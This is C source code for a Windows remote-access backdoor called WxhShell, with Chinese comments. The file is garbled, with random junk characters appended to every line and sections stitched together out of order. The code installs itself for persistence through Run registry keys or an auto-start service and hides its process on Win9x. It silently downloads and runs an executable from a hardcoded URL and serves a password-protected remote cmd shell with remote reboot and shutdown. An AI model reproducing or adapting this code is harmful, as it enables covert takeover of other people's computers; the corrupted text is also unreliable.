    ExitThread(0); IDy_L;'`*  
    } >5)<Uv$  
    break; D(y+1^>  
    }  f~w>v  
  // 关机 wP[xmO-%  
  case 'd': { &+mV7o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v8ba~  
    if(Boot(SHUTDOWN))  !M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ye9Y^+-  
    else { j|:dYt`WM  
    closesocket(wsh); I Byf_E;r  
    ExitThread(0); _f cS>/<a  
    } Fi mN?s  
    break; >_XOc  
    } *IC^IC:  
  // 获取shell ldA!ou7  
  case 's': { QX[Djz0H8  
    CmdShell(wsh); n[!;yO  
    closesocket(wsh); ;Vg^!]LL#  
    ExitThread(0); 1EVfowIl  
    break; ^>C 11v  
  } I*EJHBsQ5  
  // 退出 f|OI`  
  case 'x': { Vclr)}5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KQ&Y2l1*>>  
    CloseIt(wsh); \ht ?G n  
    break; 1N8;)HLIBJ  
    } Vy__b=ti?  
  // 离开 (+* ][|T  
  case 'q': { et=7}K]l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pmD4j8F_  
    closesocket(wsh); =I2@/,  
    WSACleanup(); 93j{.0]X  
    exit(1); M\Se_  
    break; a6%@d_A  
        } bW53" `X  
  } v? L  
  } |6aJwe+*  
tQWWgLM  
  // 提示信息 oL]mjo=jN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \K;op2  
} z v>Oh#  
  } >OV<_(S4  
nX|Q~x]  
  return; H@GE)I>^@  
} o\Uu?.-<  
1BJ<m5/1%  
// shell模块句柄 ?v:ZU~i  
int CmdShell(SOCKET sock) IV'p~t  
{ c!It ^*  
STARTUPINFO si; YTK^ijmU6x  
ZeroMemory(&si,sizeof(si)); MaO"#{i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gH[,Xx?BN!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #ly@;!M  
PROCESS_INFORMATION ProcessInfo; zJ+3g!  
char cmdline[]="cmd"; &iNwvA%9D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gV8"V Zg2  
  return 0; hoenQ6N^:  
} XVt/qb%)r  
e+.\pe\  
// 自身启动模式 l4rMk^>>  
int StartFromService(void) ldGojnS  
{ W^es;5  
typedef struct VPt9QL(  
{ 4:7mK/Z  
  DWORD ExitStatus; {^#2=`:)O  
  DWORD PebBaseAddress; ?c]n^GvG  
  DWORD AffinityMask; Q $~n/  
  DWORD BasePriority; .h4\{|  
  ULONG UniqueProcessId;  4*TmlY  
  ULONG InheritedFromUniqueProcessId; qTT,U9]:  
}   PROCESS_BASIC_INFORMATION; Tk*w3c"$  
T>A{ qu  
PROCNTQSIP NtQueryInformationProcess; F30 ]  
 W^Y#pn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %d1draL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8Hi!kc;f6>  
^rL_C}YBj-  
  HANDLE             hProcess; %y&]'A  
  PROCESS_BASIC_INFORMATION pbi; ]N^*tO  
YuQ~AE'i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7G<t"'  
  if(NULL == hInst ) return 0; y+9h~,:A  
w\Mnu}<e$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ts9ktPlm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z x@$RS+]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "7,FXTaer  
bUZ_UW  
  if (!NtQueryInformationProcess) return 0; `pL^}_>|GM  
Zp&@h-%YoD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9XLFHV("  
  if(!hProcess) return 0; S|em[D[Y^  
/*$hx@ih  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fuUm}N7  
@*>Sw>oet  
  CloseHandle(hProcess); t{dSX?<nt  
e)H!uR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -)jax  
if(hProcess==NULL) return 0; c>HK9z{  
\, &9  
HMODULE hMod; @?kM'*mrZM  
char procName[255]; $g10vF3  
unsigned long cbNeeded; D\1k.tI  
>\2:\wI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nwA8ALhE  
hePPxKQ-  
  CloseHandle(hProcess); OtTBErQNF  
5GQLd  
if(strstr(procName,"services")) return 1; // 以服务启动 >9H@|[C  
+9XQ[57  
  return 0; // 注册表启动 :7g=b%;  
} T6#CK  
WC,+Cn e  
// 主模块 47r&8C+&\  
int StartWxhshell(LPSTR lpCmdLine) f )Z%pgB  
{ t<j^q`;@v  
  SOCKET wsl; MFt*&%,JX  
BOOL val=TRUE; V Z y4_v=  
  int port=0; I.'b'-^  
  struct sockaddr_in door; QA#3bFZt1n  
{Qv>q$Q  
  if(wscfg.ws_autoins) Install(); ;eL9{eF  
"*z_O  
port=atoi(lpCmdLine); @U{<a#  
:hRs`=d"r  
if(port<=0) port=wscfg.ws_port; Ju2l?Rr X  
b:J(b?  
  WSADATA data; MZ> 6o5K|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FLZWZ;  
S4CbyXW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |X19fgk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k]A8% z  
  door.sin_family = AF_INET; 7.Kc:7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #A7jyg":  
  door.sin_port = htons(port); C? 4JXW  
d[D&J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { px;/8c-  
closesocket(wsl); U]|agz>  
return 1; E.`U`L  
} qZv =  
laKuOx}  
  if(listen(wsl,2) == INVALID_SOCKET) { Pmg)v!"  
closesocket(wsl); .@q-B+Eg  
return 1; ?, r~=  
} X-LA}YH=tS  
  Wxhshell(wsl); 8.J( r(;>  
  WSACleanup(); bx4'en#  
R6-n IY,  
return 0; >EsziRm  
4mjgt<`  
} Y-mK+1 2  
LhXUm  
// 以NT服务方式启动 WLa!.v>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %+>s#Q2d  
{ %xZG*2vc!B  
DWORD   status = 0; }@1q@xU  
  DWORD   specificError = 0xfffffff; I){\0vb@  
A - YBQPE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (>4aibA'P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :~Q!SL N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }R[#?ty;]  
  serviceStatus.dwWin32ExitCode     = 0; $?G"GQ!.  
  serviceStatus.dwServiceSpecificExitCode = 0; g>rp@M  
  serviceStatus.dwCheckPoint       = 0; l%ayI  
  serviceStatus.dwWaitHint       = 0; #11NPo9  
Uxfl_@lJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 57a2^  
  if (hServiceStatusHandle==0) return; 'ly?P8h  
"gtHTqheH  
status = GetLastError(); [H<bh%  
  if (status!=NO_ERROR) O,bkQY$v  
{ .nu @ o40  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T<3BT  
    serviceStatus.dwCheckPoint       = 0; TGXa,A{  
    serviceStatus.dwWaitHint       = 0; B vo5-P6XY  
    serviceStatus.dwWin32ExitCode     = status; >(w2GD?  
    serviceStatus.dwServiceSpecificExitCode = specificError; `afIYXP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U[L9*=P;  
    return;  VGHWNMT  
  } W7"{r)7  
Zv11uH-C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ji1Pz)fq  
  serviceStatus.dwCheckPoint       = 0; Ho DVn/lr  
  serviceStatus.dwWaitHint       = 0; ?\KM5^eX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7(M(7}EKA  
} @E( 7V(m/  
HoV^Y6  
// 处理NT服务事件,比如:启动、停止 d)cOhZy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f4-a?bp  
{ !Cgx.   
switch(fdwControl) " 96yp4v@  
{ %*aJLn+]_R  
case SERVICE_CONTROL_STOP: ^, l_{  
  serviceStatus.dwWin32ExitCode = 0; ?Xdak|?i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Zry]$0~R  
  serviceStatus.dwCheckPoint   = 0; !Fo*e  
  serviceStatus.dwWaitHint     = 0; M.-"U+#aD  
  { <IW#ME  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Djk C  
  } Uz cx6sw  
  return; 2%*MW"Q  
case SERVICE_CONTROL_PAUSE: ] Z8Vj7~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b2 _Yu^  
  break; t?o ,RN:  
case SERVICE_CONTROL_CONTINUE: b|Q)[y]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MuoF FvAA  
  break; MMB@.W  
case SERVICE_CONTROL_INTERROGATE: l`kWz5[~  
  break; |qZko[W}=  
}; *k"|i*{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M(#m0x B  
} 5@*'2rO&!  
!D!~ ^\  
// 标准应用程序主函数 -a*K$rnB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q$1PG+-  
{ ]yjl~3  
9/+Nj/  
// 获取操作系统版本 :o:e,WKxb  
OsIsNt=GetOsVer(); %WqNiF0-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {`2R,Jb%S  
UobyK3.%  
  // 从命令行安装 H|cNH=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 85 EQ5yY  
#%J5\+ua  
  // 下载执行文件 $+.l*]  
if(wscfg.ws_downexe) { $$:ZX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $/6;9d^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2[0JO.K 4  
} *:i1Lv@  
VG/3xR&y  
if(!OsIsNt) { ikE<=:pe  
// 如果时win9x,隐藏进程并且设置为注册表启动 .jy]8S8[|%  
HideProc(); yj4+5`|f  
StartWxhshell(lpCmdLine); *yl>T^DjTC  
} hOhS)  
else 7'NwJ,$6\  
  if(StartFromService()) *6xgctk  
  // 以服务方式启动 cA6lge<{~  
  StartServiceCtrlDispatcher(DispatchTable); XeBP`\>Ve  
else x0 d~i!d  
  // 普通方式启动 9qS"uj  
  StartWxhshell(lpCmdLine); uKgZ$-'  
XZw6Xtn  
return 0; JdZ+Hp3.  
} ]|<w\\^A  
Xl@cHO=i  
AoA!q>  
WyP W*  
=========================================== eY{+~|KZ  
;n|^1S<[  
> iE!m  
}I`a`0/  
iNwqF0  
<b/~.$a'  
" UT}i0I9  
oD}uOC}FS{  
#include <stdio.h> E( us'9c   
#include <string.h> vkLC-Mzm<  
#include <windows.h> mS k5u7  
#include <winsock2.h> 1s1=rZ!  
#include <winsvc.h> 5U_H>oD  
#include <urlmon.h> <0S=,!  
S*AERm   
#pragma comment (lib, "Ws2_32.lib") |yo\R{&6  
#pragma comment (lib, "urlmon.lib") j5@:a  
/%lZu^  
#define MAX_USER   100 // 最大客户端连接数 a<]B B$~  
#define BUF_SOCK   200 // sock buffer g/13~UM\  
#define KEY_BUFF   255 // 输入 buffer I(=V}s2  
QRLt9L  
#define REBOOT     0   // 重启 OT'[:|x ;  
#define SHUTDOWN   1   // 关机 C"IKt  
Z,iHy3`  
#define DEF_PORT   5000 // 监听端口 u1xSp<59C  
A)ipFB 6K  
#define REG_LEN     16   // 注册表键长度 u.rY#cS,-R  
#define SVC_LEN     80   // NT服务名长度 wf1lyS  
&~CY]PN.  
// 从dll定义API B c2p(z4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pz$R(TV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q\\gpCgp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vFEQ7 qI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /  g 2b  
IHRGw  
// wxhshell配置信息 kA7mLrON  
struct WSCFG { IKie1!ZU{"  
  int ws_port;         // 监听端口 I@\OaUGr+  
  char ws_passstr[REG_LEN]; // 口令 BC'llD  
  int ws_autoins;       // 安装标记, 1=yes 0=no s`>[F@N7.o  
  char ws_regname[REG_LEN]; // 注册表键名 [5Lz/ix=  
  char ws_svcname[REG_LEN]; // 服务名 9P{;H usNw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?ve#} \  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 imiR/V>N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7 I>G{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no epgPT'^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sUPz/Z.h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &>H!}"Yk  
!Ra*)b "  
}; =~p>`nV  
-\#0]F:-  
// default Wxhshell configuration r_;9' #&'  
struct WSCFG wscfg={DEF_PORT, /rSH"$  
    "xuhuanlingzhe", Ks}Xgc\  
    1, ,-z9 #t  
    "Wxhshell", %\i9p]=  
    "Wxhshell", n@G[  
            "WxhShell Service", >ooZj9:'  
    "Wrsky Windows CmdShell Service", "n*~Mj Ny  
    "Please Input Your Password: ", +Jr|z\  
  1, `O'`eY1f  
  "http://www.wrsky.com/wxhshell.exe", 4V~?.  
  "Wxhshell.exe" "?mJqA  
    }; 2U-3Q]/I}  
T9s2bC.z55  
// 消息定义模块 @g G<le6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ES40?o*]x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N<DGw?Rl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \(%Y%?dy  
char *msg_ws_ext="\n\rExit."; '? jlH0;  
char *msg_ws_end="\n\rQuit."; K(q-?n`<  
char *msg_ws_boot="\n\rReboot..."; *YlV-C<}W"  
char *msg_ws_poff="\n\rShutdown..."; >$2V%};  
char *msg_ws_down="\n\rSave to "; 36am-G  
MeUaTJFEB  
char *msg_ws_err="\n\rErr!"; ?mlNL/:  
char *msg_ws_ok="\n\rOK!"; h>Hb `G<  
-1J[n0O.  
char ExeFile[MAX_PATH]; + T8B:  
int nUser = 0; *&f$K1p  
HANDLE handles[MAX_USER]; `Qqk<o  
int OsIsNt; W2.qhY5  
vv=VRhwF  
SERVICE_STATUS       serviceStatus; `UBYp p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gJM`[x`T  
Y/7 $1k  
// 函数声明 H@l}WihW  
int Install(void); r7',3V  
int Uninstall(void); p ]d] QMu  
int DownloadFile(char *sURL, SOCKET wsh); ~9j%Hm0ht  
int Boot(int flag); ?@V[#.  
void HideProc(void); FHV-BuH5  
int GetOsVer(void); ^+g$iM[`f  
int Wxhshell(SOCKET wsl); jRL<JZ1N  
void TalkWithClient(void *cs); H#ncM~y*  
int CmdShell(SOCKET sock); L5,NP5RC  
int StartFromService(void); P@FHnh3}Z$  
int StartWxhshell(LPSTR lpCmdLine); DY^;EZ!hb  
AFAAuFE"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xn{1 FJX/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r\/+Oa'  
M|R b&6O  
// 数据结构和表定义 x*/S*!vx\  
SERVICE_TABLE_ENTRY DispatchTable[] = oJfr +3I  
{ *BR^U$,e  
{wscfg.ws_svcname, NTServiceMain}, ]KmO$4  
{NULL, NULL} 4t)/  
}; AF%@VLf  
GI&h`X5,e  
// 自我安装 KVJ_E!i  
int Install(void)  f& CBU  
{ 6R^^.tCs  
  char svExeFile[MAX_PATH]; 8-O)Xx}cU  
  HKEY key; LGtIm7  
  strcpy(svExeFile,ExeFile); V5rS T +  
KY~- ;0x  
// 如果是win9x系统,修改注册表设为自启动 BT(CM,bp  
if(!OsIsNt) { rOVVL%@QqJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6H7],aMg$A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4#l o$#  
  RegCloseKey(key); 9 yfJVg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q|),`.eh\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q@HopiC  
  RegCloseKey(key); K1T4cUo  
  return 0; O<V4HUW  
    } ^ (FdXGs[  
  } v;ZA 4c  
} wH@Ns~[MA  
else { :eCU/BC4  
y~\oTJb  
// 如果是NT以上系统,安装为系统服务 Nal9M[]c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jB(|";G  
if (schSCManager!=0) 4H/fP]u  
{ GI1  
  SC_HANDLE schService = CreateService R~6$oeWAw  
  ( c??mL4$'N  
  schSCManager, HZ:6zH   
  wscfg.ws_svcname, g?ULWeZg5  
  wscfg.ws_svcdisp, _D+J!f^  
  SERVICE_ALL_ACCESS, X93!bB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r! MWbFw|X  
  SERVICE_AUTO_START, N}t 2Nu-  
  SERVICE_ERROR_NORMAL, \7'+h5a  
  svExeFile, 0ik7v<:  
  NULL, PAM}*'  
  NULL, ^RI?ybDd  
  NULL, u`RI;KF~F  
  NULL, tw9f%p  
  NULL l~$+,U&XNe  
  ); IqoR7ajA  
  if (schService!=0) 5wDg'X]>V  
  { &:`U&06q  
  CloseServiceHandle(schService); (P:<t6;+  
  CloseServiceHandle(schSCManager); #n8IZ3+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &*aIEa^  
  strcat(svExeFile,wscfg.ws_svcname); :w^Ed%>y7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #e$5d>j(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *vwbgJG! *  
  RegCloseKey(key); 73\JwOn~  
  return 0; &eX!#nQ_.  
    } |Ur"& Z{  
  } {fjdr  
  CloseServiceHandle(schSCManager); XY3v_5~/1F  
} ZNvEW  
} "9Q40w\  
=D<PVGo9  
return 1; $[a8$VY^Cm  
} |3KLk?2  
 ^0 \  
// 自我卸载 SR |`!  
int Uninstall(void) @/ohg0  
{ P&^;656r  
  HKEY key; wLnf@&jQ%  
9eQxit7  
if(!OsIsNt) { dx@-/^.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m()RU"WY  
  RegDeleteValue(key,wscfg.ws_regname); 2HsLc*9{4  
  RegCloseKey(key); ,tu.2VQc@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |$ lM#Ua  
  RegDeleteValue(key,wscfg.ws_regname); =h5H~G5AT  
  RegCloseKey(key); ]z/8KL  
  return 0; oV|4V:G q  
  } \6Zr  
} [rV>57`YD  
} 4p,EBn9(  
else { '|8} z4/g  
A"dR{8&0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lo N< oj5  
if (schSCManager!=0) T~##,qQ  
{ ;"~ fZ2$U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x#xFh0CA  
  if (schService!=0) :Ra,Eu  
  { Xx0hc 8qd  
  if(DeleteService(schService)!=0) { A#J`;5!Sc  
  CloseServiceHandle(schService); IS&ZqE(`e  
  CloseServiceHandle(schSCManager); NUWDc]@J*  
  return 0; =k^Y?.  
  } p o2!  
  CloseServiceHandle(schService); %D%8^Zd_  
  } a C\MJ9  
  CloseServiceHandle(schSCManager); AW!?"xdZ  
} n%.7h3  
} /YMj-S_b~  
'6cWS'9"  
return 1; Enn"hdI  
} 1;Cyz)  
LcTt)rs f  
// 从指定url下载文件 O @j} K4  
int DownloadFile(char *sURL, SOCKET wsh) BMG3|N^  
{ xg;+<iW  
  HRESULT hr; YSic-6z0Ms  
char seps[]= "/"; lJ}_G>GJ  
char *token; DpvI[r//'*  
char *file; L(|N[#  
char myURL[MAX_PATH]; c]n1':FT"  
char myFILE[MAX_PATH]; jZ~n[ f+Q  
2q=AEv/  
strcpy(myURL,sURL); PGhY>$q>b  
  token=strtok(myURL,seps); bB1UZ O  
  while(token!=NULL) Vr`R>S,-  
  { NflD/q/ L  
    file=token; \F/hMXDlJ  
  token=strtok(NULL,seps); x7!L{(E3  
  } %\dz m-d(C  
<66X Xh.  
GetCurrentDirectory(MAX_PATH,myFILE); 7e|s wJ>4  
strcat(myFILE, "\\"); c4^ks&)'  
strcat(myFILE, file); g"p%C:NN  
  send(wsh,myFILE,strlen(myFILE),0); 4~Vx3gEV:  
send(wsh,"...",3,0); =JK@z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g9}DnCT*.  
  if(hr==S_OK) /_AnP  
return 0; 4C61GB?Vy  
else NV72  
return 1; g(qJN<R C/  
jHE}qE~>5  
} S >X:ZYYC  
=S+wCN  
// 系统电源模块 ;o2$ Q  
int Boot(int flag) m.# VYN`+A  
{ bYpnt V  
  HANDLE hToken; t^R][Ay&  
  TOKEN_PRIVILEGES tkp; bnq; )>&  
' g=  
  if(OsIsNt) { cdl&9-}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A@1W}8qY:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bLij7K 2H  
    tkp.PrivilegeCount = 1; 7Bzq,2s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `.~N4+SP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rg\z<wPBG  
if(flag==REBOOT) { fk6%XO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A+ZK4]xb  
  return 0; la0BiLzb]  
} ([T>.s  
else { "d#Y}@*~o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lT(WD}OS  
  return 0; 4o <Uy  
} u~7hWiY<2  
  } H]{v;;'~  
  else { C*)3e*T*  
if(flag==REBOOT) { ~?4PBq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZkRx1S"m  
  return 0; rzhWw-GY  
} J%v=yBC2  
else { +%T\`6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qT{U(  
  return 0; W=^#v  
} n$x c];j  
} f9t6q*a`%  
W>Y@^U&x`  
return 1; tZ: _ag)o  
} ^ =bu(L  
:mh_G  
// win9x进程隐藏模块 m4hX 'F  
void HideProc(void) jVv0ST*z  
{ ieDk;  
\r;#g{ _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vwg|K|  
  if ( hKernel != NULL ) L[oui,}_  
  { D.B.7-_8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,&]S(|2%>t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3 }TaF~  
    FreeLibrary(hKernel); fxgPhnaC>  
  } b#uL?f  
8;b( 0^  
return; m ,* QP*  
} nt 81Bk=  
?*[N_'2W+  
// 获取操作系统版本 NPhhD&W_  
int GetOsVer(void) W98i[Q9A7  
{ b3&zjjQ  
  OSVERSIONINFO winfo; 9_L[w\P|4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |{BIHgMh  
  GetVersionEx(&winfo); 5gH1.7i b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,X[kt z  
  return 1; wKtl+}}  
  else kw >v:F<M  
  return 0; W]"zctE  
} Tzt8h\Q^z  
-[ *,^Ti`  
// 客户端句柄模块 SN9kFFIPb=  
int Wxhshell(SOCKET wsl) UldXYtGe  
{ 2 Wt> Mi  
  SOCKET wsh; "9ZID-~]  
  struct sockaddr_in client; N=4G=0 `ke  
  DWORD myID; MW! srTQ_  
7L`A{L  
  while(nUser<MAX_USER) )IP,;<  
{ iZ#!O* >  
  int nSize=sizeof(client); ]{)a,c NG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aGrIQq/k)%  
  if(wsh==INVALID_SOCKET) return 1; 9=vMgW  
;kFDMuuO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *;l]8.  
if(handles[nUser]==0) H7z,j}l  
  closesocket(wsh); )JDs\fUE  
else 9A/\h3HrJ  
  nUser++; Hbj,[$Jb  
  } #X%~B'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }6p@lla,%]  
14Xqn8uOW  
  return 0; dT`D:)*:  
} 6CV* Z\b  
|jQ:~2U|   
// 关闭 socket =}lh_  
void CloseIt(SOCKET wsh) 3AHlSX  
{ G! ]k#.^A,  
closesocket(wsh); K#%&0D!  
nUser--; sd,J3  
ExitThread(0); $h2){*5E{  
} mPOGidxix  
K{x\4  
// 客户端请求句柄 g-Mj.owu=  
void TalkWithClient(void *cs) X> 1,!I9  
{ sT !~J4  
-|J"s$yO4  
  SOCKET wsh=(SOCKET)cs; HKU~UTRnZ  
  char pwd[SVC_LEN]; nim*/LC[:  
  char cmd[KEY_BUFF]; 3p3 9`"~  
char chr[1]; @KWb+?_H{<  
int i,j; v/Py"hQ  
1{r3#MVL  
  while (nUser < MAX_USER) { -(~.6WnhS  
[="e ziM{  
if(wscfg.ws_passstr) { h hG4-HD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J4QXz[dG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 931bA&SL=/  
  //ZeroMemory(pwd,KEY_BUFF); aH 4c02s$  
      i=0; E[2m&3&  
  while(i<SVC_LEN) { LM$W*  
I(]}XZq  
  // 设置超时 J@^8ko  
  fd_set FdRead; =+/eLKG  
  struct timeval TimeOut; &Lt}=3G  
  FD_ZERO(&FdRead); t#Z-mv:(  
  FD_SET(wsh,&FdRead); E.r>7`E  
  TimeOut.tv_sec=8; /,89p&h  
  TimeOut.tv_usec=0; 1%EBd%`#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #D<C )Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bP8Sj16q  
O;z,qo X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~rlB'8j(  
  pwd=chr[0]; ~?D4[D|sB  
  if(chr[0]==0xd || chr[0]==0xa) { qS403+Su1=  
  pwd=0; dq7x3v^"ZG  
  break; bHPYp5UwN  
  } CUO+9X-<8  
  i++; EqyeJq .  
    } K-e9>fmB#  
sc|_Q/`\.  
  // 如果是非法用户,关闭 socket fdxLAC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J{l1nHQZSu  
} +vYoB$!  
u}>#Eb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |S_T^'<W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2VF%@p  
B268e  
while(1) { FYOD Upn  
^@ I   
  ZeroMemory(cmd,KEY_BUFF); pM^9c7@!:  
Y&[1`:-~-  
      // 自动支持客户端 telnet标准   ~res V  
  j=0; :}yi -/_8!  
  while(j<KEY_BUFF) { @AK n@T5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JIOh#VNU  
  cmd[j]=chr[0]; \,7f6:  
  if(chr[0]==0xa || chr[0]==0xd) {  :l~ I  
  cmd[j]=0; <:(6EKJAq}  
  break; dA-2%uJ  
  } nIAx2dh?  
  j++; iDN;m`a  
    } m$`RcwO  
6Se?sHC>  
  // 下载文件 fXXr+Mor  
  if(strstr(cmd,"http://")) { * "R|4"uy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ .C=H[QC  
  if(DownloadFile(cmd,wsh)) ln$&``L  
